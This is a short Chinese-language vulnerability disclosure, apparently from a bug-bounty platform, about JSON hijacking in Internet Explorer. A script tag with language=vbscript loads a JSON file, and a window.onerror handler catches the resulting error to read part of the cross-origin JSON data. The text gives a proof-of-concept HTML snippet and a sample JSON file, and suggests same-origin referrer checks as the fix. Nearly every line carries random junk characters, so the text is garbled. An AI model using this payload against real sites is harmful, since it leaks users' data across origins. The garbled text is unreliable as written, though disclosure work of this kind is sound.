简要描述:
, o! q) V8 w: n+ R6 `* d, ^ W
+ x: `- {8 G7 X/ i/ w4 _由于某些资源容器对数据处理不当导致json劫持漏洞.- `% z6 S3 P+ H$ ]3 O9 r
详细说明:1 ?- m4 J ~5 W% p% T# p/ r
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
! H/ `, D! e5 I( z<script language=vbscript></script>
) H8 k7 i, ^& |; Y ' R8 f) |# g0 |1 `: J
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据." [ F6 ?$ W. d0 e, Y
漏洞证明:- p( [. Z5 V& g$ T( c- h
<script> w1 Z) r4 B. H! o+ \, h
window.onerror=function(_){' F: t8 C4 ~4 h. v0 n
alert(_)
0 T" O, y5 k) G% d}; T0 ~: B! m5 d5 ]6 J* j
</script>8 h$ u" u; Z# Z" z" a% x0 g
<script language=vbscript src=1.json></script>
$ N( d% _" V# N9 j ! b3 w, F2 c- A! b( G$ b
. W. E( k+ U# j o8 H4 H7 K! {1.json:3 n( D! T# `6 F8 c
[{"name":"sogili","age":19}]' ?" v2 O7 g1 F6 K/ n3 ?
修复方案:/ A. b& V3 l1 B- U/ b
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |